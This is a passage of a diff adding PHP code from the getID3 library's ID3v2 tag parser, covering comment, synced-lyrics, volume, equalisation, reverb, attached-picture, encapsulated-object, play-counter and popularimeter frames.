                              + // Text encoding $xx + // Language $xx xx xx + // Content descriptor $00 (00) + // Lyrics/text + + $frame_offset = 0; + $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); + $frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding); + if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { + $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); + $frame_textencoding_terminator = "\x00"; + } + if (strlen($parsedFrame['data']) >= (4 + strlen($frame_textencoding_terminator))) { // shouldn't be an issue but badly-written files have been spotted in the wild with not only no contents but also missing the required language field, see https://github.com/JamesHeinrich/getID3/issues/315 + $frame_language = substr($parsedFrame['data'], $frame_offset, 3); + $frame_offset += 3; + $frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset); + if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) { + $frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00 + } + $parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); + $parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']); + $parsedFrame['data'] = substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator)); + $parsedFrame['data'] = $this->RemoveStringTerminator($parsedFrame['data'], $frame_textencoding_terminator); + + $parsedFrame['encodingid'] = $frame_textencoding; + $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); + + $parsedFrame['language'] = $frame_language; + $parsedFrame['languagename'] = $this->LanguageLookup($frame_language, false); + if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) { + $info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']); + } + } else { + $this->warning('Invalid data in frame "'.$parsedFrame['frame_name'].'" at offset '.$parsedFrame['dataoffset']); + } + unset($parsedFrame['data']); + + + } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'SYLT')) || // 4.9 SYLT Synchronised lyric/text + (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'SLT'))) { // 4.10 SLT Synchronised lyric/text + // There may be more than one 'SYLT' frame in each tag, + // but only one with the same language and content descriptor. + //
                              + // Text encoding $xx + // Language $xx xx xx + // Time stamp format $xx + // $01 (32-bit value) MPEG frames from beginning of file + // $02 (32-bit value) milliseconds from beginning of file + // Content type $xx + // Content descriptor $00 (00) + // Terminated text to be synced (typically a syllable) + // Sync identifier (terminator to above string) $00 (00) + // Time stamp $xx (xx ...) + + $frame_offset = 0; + $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); + $frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding); + if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { + $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); + $frame_textencoding_terminator = "\x00"; + } + $frame_language = substr($parsedFrame['data'], $frame_offset, 3); + $frame_offset += 3; + $parsedFrame['timestampformat'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); + $parsedFrame['contenttypeid'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); + $parsedFrame['contenttype'] = $this->SYTLContentTypeLookup($parsedFrame['contenttypeid']); + $parsedFrame['encodingid'] = $frame_textencoding; + $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); + + $parsedFrame['language'] = $frame_language; + $parsedFrame['languagename'] = $this->LanguageLookup($frame_language, false); + + $timestampindex = 0; + $frame_remainingdata = substr($parsedFrame['data'], $frame_offset); + while (strlen($frame_remainingdata)) { + $frame_offset = 0; + $frame_terminatorpos = strpos($frame_remainingdata, $frame_textencoding_terminator); + if ($frame_terminatorpos === false) { + $frame_remainingdata = ''; + } else { + if (ord(substr($frame_remainingdata, $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) { + $frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00 + } + $parsedFrame['lyrics'][$timestampindex]['data'] = substr($frame_remainingdata, $frame_offset, $frame_terminatorpos - $frame_offset); + + $frame_remainingdata = substr($frame_remainingdata, $frame_terminatorpos + strlen($frame_textencoding_terminator)); + if (($timestampindex == 0) && (ord($frame_remainingdata[0]) != 0)) { + // timestamp probably omitted for first data item + } else { + $parsedFrame['lyrics'][$timestampindex]['timestamp'] = getid3_lib::BigEndian2Int(substr($frame_remainingdata, 0, 4)); + $frame_remainingdata = substr($frame_remainingdata, 4); + } + $timestampindex++; + } + } + unset($parsedFrame['data']); + + + } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'COMM')) || // 4.10 COMM Comments + (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'COM'))) { // 4.11 COM Comments + // There may be more than one comment frame in each tag, + // but only one with the same language and content descriptor. + //
                              + // Text encoding $xx + // Language $xx xx xx + // Short content descrip. $00 (00) + // The actual text + + if (strlen($parsedFrame['data']) < 5) { + + $this->warning('Invalid data (too short) for "'.$parsedFrame['frame_name'].'" frame at offset '.$parsedFrame['dataoffset']); + + } else { + + $frame_offset = 0; + $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); + $frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding); + if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { + $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); + $frame_textencoding_terminator = "\x00"; + } + $frame_language = substr($parsedFrame['data'], $frame_offset, 3); + $frame_offset += 3; + $frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset); + if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) { + $frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00 + } + $parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); + $parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']); + $frame_text = (string) substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator)); + $frame_text = $this->RemoveStringTerminator($frame_text, $frame_textencoding_terminator); + + $parsedFrame['encodingid'] = $frame_textencoding; + $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); + + $parsedFrame['language'] = $frame_language; + $parsedFrame['languagename'] = $this->LanguageLookup($frame_language, false); + $parsedFrame['data'] = $frame_text; + if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) { + $commentkey = ($parsedFrame['description'] ? $parsedFrame['description'] : (!empty($info['id3v2']['comments'][$parsedFrame['framenameshort']]) ? count($info['id3v2']['comments'][$parsedFrame['framenameshort']]) : 0)); + if (!isset($info['id3v2']['comments'][$parsedFrame['framenameshort']]) || !array_key_exists($commentkey, $info['id3v2']['comments'][$parsedFrame['framenameshort']])) { + $info['id3v2']['comments'][$parsedFrame['framenameshort']][$commentkey] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']); + } else { + $info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']); + } + } + + } + + } elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'RVA2')) { // 4.11 RVA2 Relative volume adjustment (2) (ID3v2.4+ only) + // There may be more than one 'RVA2' frame in each tag, + // but only one with the same identification string + //
                              + // Identification $00 + // The 'identification' string is used to identify the situation and/or + // device where this adjustment should apply. The following is then + // repeated for every channel: + // Type of channel $xx + // Volume adjustment $xx xx + // Bits representing peak $xx + // Peak volume $xx (xx ...) + + $frame_terminatorpos = strpos($parsedFrame['data'], "\x00"); + $frame_idstring = substr($parsedFrame['data'], 0, $frame_terminatorpos); + if (ord($frame_idstring) === 0) { + $frame_idstring = ''; + } + $frame_remainingdata = substr($parsedFrame['data'], $frame_terminatorpos + strlen("\x00")); + $parsedFrame['description'] = $frame_idstring; + $RVA2channelcounter = 0; + while (strlen($frame_remainingdata) >= 5) { + $frame_offset = 0; + $frame_channeltypeid = ord(substr($frame_remainingdata, $frame_offset++, 1)); + $parsedFrame[$RVA2channelcounter]['channeltypeid'] = $frame_channeltypeid; + $parsedFrame[$RVA2channelcounter]['channeltype'] = $this->RVA2ChannelTypeLookup($frame_channeltypeid); + $parsedFrame[$RVA2channelcounter]['volumeadjust'] = getid3_lib::BigEndian2Int(substr($frame_remainingdata, $frame_offset, 2), false, true); // 16-bit signed + $frame_offset += 2; + $parsedFrame[$RVA2channelcounter]['bitspeakvolume'] = ord(substr($frame_remainingdata, $frame_offset++, 1)); + if (($parsedFrame[$RVA2channelcounter]['bitspeakvolume'] < 1) || ($parsedFrame[$RVA2channelcounter]['bitspeakvolume'] > 4)) { + $this->warning('ID3v2::RVA2 frame['.$RVA2channelcounter.'] contains invalid '.$parsedFrame[$RVA2channelcounter]['bitspeakvolume'].'-byte bits-representing-peak value'); + break; + } + $frame_bytespeakvolume = ceil($parsedFrame[$RVA2channelcounter]['bitspeakvolume'] / 8); + $parsedFrame[$RVA2channelcounter]['peakvolume'] = getid3_lib::BigEndian2Int(substr($frame_remainingdata, $frame_offset, $frame_bytespeakvolume)); + $frame_remainingdata = substr($frame_remainingdata, $frame_offset + $frame_bytespeakvolume); + $RVA2channelcounter++; + } + unset($parsedFrame['data']); + + + } elseif ((($id3v2_majorversion == 3) && ($parsedFrame['frame_name'] == 'RVAD')) || // 4.12 RVAD Relative volume adjustment (ID3v2.3 only) + (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'RVA'))) { // 4.12 RVA Relative volume adjustment (ID3v2.2 only) + // There may only be one 'RVA' frame in each tag + //
                              + // ID3v2.2 => Increment/decrement %000000ba + // ID3v2.3 => Increment/decrement %00fedcba + // Bits used for volume descr. $xx + // Relative volume change, right $xx xx (xx ...) // a + // Relative volume change, left $xx xx (xx ...) // b + // Peak volume right $xx xx (xx ...) + // Peak volume left $xx xx (xx ...) + // ID3v2.3 only, optional (not present in ID3v2.2): + // Relative volume change, right back $xx xx (xx ...) // c + // Relative volume change, left back $xx xx (xx ...) // d + // Peak volume right back $xx xx (xx ...) + // Peak volume left back $xx xx (xx ...) + // ID3v2.3 only, optional (not present in ID3v2.2): + // Relative volume change, center $xx xx (xx ...) // e + // Peak volume center $xx xx (xx ...) + // ID3v2.3 only, optional (not present in ID3v2.2): + // Relative volume change, bass $xx xx (xx ...) // f + // Peak volume bass $xx xx (xx ...) + + $frame_offset = 0; + $frame_incrdecrflags = getid3_lib::BigEndian2Bin(substr($parsedFrame['data'], $frame_offset++, 1)); + $parsedFrame['incdec']['right'] = (bool) substr($frame_incrdecrflags, 6, 1); + $parsedFrame['incdec']['left'] = (bool) substr($frame_incrdecrflags, 7, 1); + $parsedFrame['bitsvolume'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); + $frame_bytesvolume = ceil($parsedFrame['bitsvolume'] / 8); + $parsedFrame['volumechange']['right'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); + if ($parsedFrame['incdec']['right'] === false) { + $parsedFrame['volumechange']['right'] *= -1; + } + $frame_offset += $frame_bytesvolume; + $parsedFrame['volumechange']['left'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); + if ($parsedFrame['incdec']['left'] === false) { + $parsedFrame['volumechange']['left'] *= -1; + } + $frame_offset += $frame_bytesvolume; + $parsedFrame['peakvolume']['right'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); + $frame_offset += $frame_bytesvolume; + $parsedFrame['peakvolume']['left'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); + $frame_offset += $frame_bytesvolume; + if ($id3v2_majorversion == 3) { + $parsedFrame['data'] = substr($parsedFrame['data'], $frame_offset); + if (strlen($parsedFrame['data']) > 0) { + $parsedFrame['incdec']['rightrear'] = (bool) substr($frame_incrdecrflags, 4, 1); + $parsedFrame['incdec']['leftrear'] = (bool) substr($frame_incrdecrflags, 5, 1); + $parsedFrame['volumechange']['rightrear'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); + if ($parsedFrame['incdec']['rightrear'] === false) { + $parsedFrame['volumechange']['rightrear'] *= -1; + } + $frame_offset += $frame_bytesvolume; + $parsedFrame['volumechange']['leftrear'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); + if ($parsedFrame['incdec']['leftrear'] === false) { + $parsedFrame['volumechange']['leftrear'] *= -1; + } + $frame_offset += $frame_bytesvolume; + $parsedFrame['peakvolume']['rightrear'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); + $frame_offset += $frame_bytesvolume; + $parsedFrame['peakvolume']['leftrear'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); + $frame_offset += $frame_bytesvolume; + } + $parsedFrame['data'] = substr($parsedFrame['data'], $frame_offset); + if (strlen($parsedFrame['data']) > 0) { + $parsedFrame['incdec']['center'] = (bool) substr($frame_incrdecrflags, 3, 1); + $parsedFrame['volumechange']['center'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); + if ($parsedFrame['incdec']['center'] === false) { + $parsedFrame['volumechange']['center'] *= -1; + } + $frame_offset += $frame_bytesvolume; + $parsedFrame['peakvolume']['center'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); + $frame_offset += $frame_bytesvolume; + } + $parsedFrame['data'] = substr($parsedFrame['data'], $frame_offset); + if (strlen($parsedFrame['data']) > 0) { + $parsedFrame['incdec']['bass'] = (bool) substr($frame_incrdecrflags, 2, 1); + $parsedFrame['volumechange']['bass'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); + if ($parsedFrame['incdec']['bass'] === false) { + $parsedFrame['volumechange']['bass'] *= -1; + } + $frame_offset += $frame_bytesvolume; + $parsedFrame['peakvolume']['bass'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); + $frame_offset += $frame_bytesvolume; + } + } + unset($parsedFrame['data']); + + + } elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'EQU2')) { // 4.12 EQU2 Equalisation (2) (ID3v2.4+ only) + // There may be more than one 'EQU2' frame in each tag, + // but only one with the same identification string + //
                              + // Interpolation method $xx + // $00 Band + // $01 Linear + // Identification $00 + // The following is then repeated for every adjustment point + // Frequency $xx xx + // Volume adjustment $xx xx + + $frame_offset = 0; + $frame_interpolationmethod = ord(substr($parsedFrame['data'], $frame_offset++, 1)); + $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); + $frame_idstring = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); + if (ord($frame_idstring) === 0) { + $frame_idstring = ''; + } + $parsedFrame['description'] = $frame_idstring; + $frame_remainingdata = substr($parsedFrame['data'], $frame_terminatorpos + strlen("\x00")); + while (strlen($frame_remainingdata)) { + $frame_frequency = getid3_lib::BigEndian2Int(substr($frame_remainingdata, 0, 2)) / 2; + $parsedFrame['data'][$frame_frequency] = getid3_lib::BigEndian2Int(substr($frame_remainingdata, 2, 2), false, true); + $frame_remainingdata = substr($frame_remainingdata, 4); + } + $parsedFrame['interpolationmethod'] = $frame_interpolationmethod; + unset($parsedFrame['data']); + + + } elseif ((($id3v2_majorversion == 3) && ($parsedFrame['frame_name'] == 'EQUA')) || // 4.12 EQUA Equalisation (ID3v2.3 only) + (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'EQU'))) { // 4.13 EQU Equalisation (ID3v2.2 only) + // There may only be one 'EQUA' frame in each tag + //
                              + // Adjustment bits $xx + // This is followed by 2 bytes + ('adjustment bits' rounded up to the + // nearest byte) for every equalisation band in the following format, + // giving a frequency range of 0 - 32767Hz: + // Increment/decrement %x (MSB of the Frequency) + // Frequency (lower 15 bits) + // Adjustment $xx (xx ...) + + $frame_offset = 0; + $parsedFrame['adjustmentbits'] = substr($parsedFrame['data'], $frame_offset++, 1); + $frame_adjustmentbytes = ceil($parsedFrame['adjustmentbits'] / 8); + + $frame_remainingdata = (string) substr($parsedFrame['data'], $frame_offset); + while (strlen($frame_remainingdata) > 0) { + $frame_frequencystr = getid3_lib::BigEndian2Bin(substr($frame_remainingdata, 0, 2)); + $frame_incdec = (bool) substr($frame_frequencystr, 0, 1); + $frame_frequency = bindec(substr($frame_frequencystr, 1, 15)); + $parsedFrame[$frame_frequency]['incdec'] = $frame_incdec; + $parsedFrame[$frame_frequency]['adjustment'] = getid3_lib::BigEndian2Int(substr($frame_remainingdata, 2, $frame_adjustmentbytes)); + if ($parsedFrame[$frame_frequency]['incdec'] === false) { + $parsedFrame[$frame_frequency]['adjustment'] *= -1; + } + $frame_remainingdata = substr($frame_remainingdata, 2 + $frame_adjustmentbytes); + } + unset($parsedFrame['data']); + + + } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'RVRB')) || // 4.13 RVRB Reverb + (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'REV'))) { // 4.14 REV Reverb + // There may only be one 'RVRB' frame in each tag. + //
                              + // Reverb left (ms) $xx xx + // Reverb right (ms) $xx xx + // Reverb bounces, left $xx + // Reverb bounces, right $xx + // Reverb feedback, left to left $xx + // Reverb feedback, left to right $xx + // Reverb feedback, right to right $xx + // Reverb feedback, right to left $xx + // Premix left to right $xx + // Premix right to left $xx + + $frame_offset = 0; + $parsedFrame['left'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2)); + $frame_offset += 2; + $parsedFrame['right'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2)); + $frame_offset += 2; + $parsedFrame['bouncesL'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); + $parsedFrame['bouncesR'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); + $parsedFrame['feedbackLL'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); + $parsedFrame['feedbackLR'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); + $parsedFrame['feedbackRR'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); + $parsedFrame['feedbackRL'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); + $parsedFrame['premixLR'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); + $parsedFrame['premixRL'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); + unset($parsedFrame['data']); + + + } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'APIC')) || // 4.14 APIC Attached picture + (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'PIC'))) { // 4.15 PIC Attached picture + // There may be several pictures attached to one file, + // each in their individual 'APIC' frame, but only one + // with the same content descriptor + //
                              + // Text encoding $xx + // ID3v2.3+ => MIME type $00 + // ID3v2.2 => Image format $xx xx xx + // Picture type $xx + // Description $00 (00) + // Picture data + + $frame_offset = 0; + $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); + $frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding); + if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { + $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); + $frame_textencoding_terminator = "\x00"; + } + + $frame_imagetype = null; + $frame_mimetype = null; + if ($id3v2_majorversion == 2 && strlen($parsedFrame['data']) > $frame_offset) { + $frame_imagetype = substr($parsedFrame['data'], $frame_offset, 3); + if (strtolower($frame_imagetype) == 'ima') { + // complete hack for mp3Rage (www.chaoticsoftware.com) that puts ID3v2.3-formatted + // MIME type instead of 3-char ID3v2.2-format image type (thanks xbhoffØpacbell*net) + $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); + $frame_mimetype = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); + if (ord($frame_mimetype) === 0) { + $frame_mimetype = ''; + } + $frame_imagetype = strtoupper(str_replace('image/', '', strtolower($frame_mimetype))); + if ($frame_imagetype == 'JPEG') { + $frame_imagetype = 'JPG'; + } + $frame_offset = $frame_terminatorpos + strlen("\x00"); + } else { + $frame_offset += 3; + } + } + if ($id3v2_majorversion > 2 && strlen($parsedFrame['data']) > $frame_offset) { + $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); + $frame_mimetype = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); + if (ord($frame_mimetype) === 0) { + $frame_mimetype = ''; + } + $frame_offset = $frame_terminatorpos + strlen("\x00"); + } + + $frame_picturetype = ord(substr($parsedFrame['data'], $frame_offset++, 1)); + + if ($frame_offset >= $parsedFrame['datalength']) { + $this->warning('data portion of APIC frame is missing at offset '.($parsedFrame['dataoffset'] + 8 + $frame_offset)); + } else { + $frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset); + if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) { + $frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00 + } + $parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); + $parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']); + $parsedFrame['encodingid'] = $frame_textencoding; + $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); + + if ($id3v2_majorversion == 2) { + $parsedFrame['imagetype'] = isset($frame_imagetype) ? $frame_imagetype : null; + } else { + $parsedFrame['mime'] = isset($frame_mimetype) ? $frame_mimetype : null; + } + $parsedFrame['picturetypeid'] = $frame_picturetype; + $parsedFrame['picturetype'] = $this->APICPictureTypeLookup($frame_picturetype); + $parsedFrame['data'] = substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator)); + $parsedFrame['datalength'] = strlen($parsedFrame['data']); + + $parsedFrame['image_mime'] = ''; + $imageinfo = array(); + if ($imagechunkcheck = getid3_lib::GetDataImageSize($parsedFrame['data'], $imageinfo)) { + if (($imagechunkcheck[2] >= 1) && ($imagechunkcheck[2] <= 3)) { + $parsedFrame['image_mime'] = image_type_to_mime_type($imagechunkcheck[2]); + if ($imagechunkcheck[0]) { + $parsedFrame['image_width'] = $imagechunkcheck[0]; + } + if ($imagechunkcheck[1]) { + $parsedFrame['image_height'] = $imagechunkcheck[1]; + } + } + } + + do { + if ($this->getid3->option_save_attachments === false) { + // skip entirely + unset($parsedFrame['data']); + break; + } + $dir = ''; + if ($this->getid3->option_save_attachments === true) { + // great +/* + } elseif (is_int($this->getid3->option_save_attachments)) { + if ($this->getid3->option_save_attachments < $parsedFrame['data_length']) { + // too big, skip + $this->warning('attachment at '.$frame_offset.' is too large to process inline ('.number_format($parsedFrame['data_length']).' bytes)'); + unset($parsedFrame['data']); + break; + } +*/ + } elseif (is_string($this->getid3->option_save_attachments)) { + $dir = rtrim(str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $this->getid3->option_save_attachments), DIRECTORY_SEPARATOR); + if (!is_dir($dir) || !getID3::is_writable($dir)) { + // cannot write, skip + $this->warning('attachment at '.$frame_offset.' cannot be saved to "'.$dir.'" (not writable)'); + unset($parsedFrame['data']); + break; + } + } + // if we get this far, must be OK + if (is_string($this->getid3->option_save_attachments)) { + $destination_filename = $dir.DIRECTORY_SEPARATOR.md5($info['filenamepath']).'_'.$frame_offset; + if (!file_exists($destination_filename) || getID3::is_writable($destination_filename)) { + file_put_contents($destination_filename, $parsedFrame['data']); + } else { + $this->warning('attachment at '.$frame_offset.' cannot be saved to "'.$destination_filename.'" (not writable)'); + } + $parsedFrame['data_filename'] = $destination_filename; + unset($parsedFrame['data']); + } else { + if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) { + if (!isset($info['id3v2']['comments']['picture'])) { + $info['id3v2']['comments']['picture'] = array(); + } + $comments_picture_data = array(); + foreach (array('data', 'image_mime', 'image_width', 'image_height', 'imagetype', 'picturetype', 'description', 'datalength') as $picture_key) { + if (isset($parsedFrame[$picture_key])) { + $comments_picture_data[$picture_key] = $parsedFrame[$picture_key]; + } + } + $info['id3v2']['comments']['picture'][] = $comments_picture_data; + unset($comments_picture_data); + } + } + } while (false); + } + + } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'GEOB')) || // 4.15 GEOB General encapsulated object + (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'GEO'))) { // 4.16 GEO General encapsulated object + // There may be more than one 'GEOB' frame in each tag, + // but only one with the same content descriptor + //
                              + // Text encoding $xx + // MIME type $00 + // Filename $00 (00) + // Content description $00 (00) + // Encapsulated object + + $frame_offset = 0; + $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); + $frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding); + if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { + $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); + $frame_textencoding_terminator = "\x00"; + } + $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); + $frame_mimetype = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); + if (ord($frame_mimetype) === 0) { + $frame_mimetype = ''; + } + $frame_offset = $frame_terminatorpos + strlen("\x00"); + + $frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset); + if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) { + $frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00 + } + $frame_filename = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); + if (ord($frame_filename) === 0) { + $frame_filename = ''; + } + $frame_offset = $frame_terminatorpos + strlen($frame_textencoding_terminator); + + $frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset); + if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) { + $frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00 + } + $parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); + $parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']); + $frame_offset = $frame_terminatorpos + strlen($frame_textencoding_terminator); + + $parsedFrame['objectdata'] = (string) substr($parsedFrame['data'], $frame_offset); + $parsedFrame['encodingid'] = $frame_textencoding; + $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); + + $parsedFrame['mime'] = $frame_mimetype; + $parsedFrame['filename'] = $frame_filename; + unset($parsedFrame['data']); + + + } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'PCNT')) || // 4.16 PCNT Play counter + (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'CNT'))) { // 4.17 CNT Play counter + // There may only be one 'PCNT' frame in each tag. + // When the counter reaches all one's, one byte is inserted in + // front of the counter thus making the counter eight bits bigger + //
                              + // Counter $xx xx xx xx (xx ...) + + $parsedFrame['data'] = getid3_lib::BigEndian2Int($parsedFrame['data']); + + + } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'POPM')) || // 4.17 POPM Popularimeter + (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'POP'))) { // 4.18 POP Popularimeter + // There may be more than one 'POPM' frame in each tag, + // but only one with the same email address + //
                              + // Email to user $00 + // Rating $xx + // Counter $xx xx xx xx (xx ...) + + $frame_offset = 0; + $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); + $frame_emailaddress = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); + if (ord($frame_emailaddress) === 0) { + $frame_emailaddress = ''; + } + $frame_offset = $frame_terminatorpos + strlen("\x00"); + $frame_rating = ord(substr($parsedFrame['data'], $frame_offset++, 1)); + $parsedFrame['counter'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset)); + $parsedFrame['email'] = $frame_emailaddress; + $parsedFrame['rating'] = $frame_rating; + unset($parsedFrame['data']); + + + } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'RBUF')) || // 4.18 RBUF Recommended buffer size + (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'BUF'))) { // 4.19 BUF Recommended buffer size + // There may only be one 'RBUF' frame in each tag + //
